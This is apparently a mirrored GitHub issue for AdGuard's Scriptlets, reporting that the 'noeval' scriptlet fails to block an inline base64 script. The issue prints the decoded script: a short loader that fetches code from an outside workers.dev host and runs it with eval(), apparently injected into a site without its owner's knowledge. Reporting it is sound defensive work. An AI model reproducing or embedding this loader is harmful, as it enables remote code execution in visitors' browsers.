AdguardTeam / AdguardTeam/Scriptlets

Fix 'noeval' — cannot break inline 'data:text/javascript;base64' script

未关闭
#358 3 条评论 0 个 reaction 已指派 1 人 已被 @maximtop 认领 在 GitHub 查看
bug Priority: P4
主要语言
JavaScript
星标
195
派生
33
PR 合并指标
30 天内没有已合并 PR

描述

### Inline script

``

### Decoded script

`const get_script=()=>{const request=new XMLHttpRequest();request.open('GET','https://dust-0001.delorazahnow.workers.dev/',false);request.send(null);return request.responseText;}
eval(get_script());`

### Expected behavior

'noeval' does not break encoded or decoded script.

Related to https://github.com/AdguardTeam/AdguardFilters/issues/160588 The script was probably added without the site owner's knowledge, and now the script is not on the site.

### Environment

Chrome 116
`AdGuard 4.2.167` or `AdGuard for Windows 7.15 n8`

贡献指南

这个仓库没有索引到贡献指南

评估

这个 Issue 还没有评估数据。

把新 issue 发到你的邮箱

精选适合新手参与的 GitHub issue 摘要。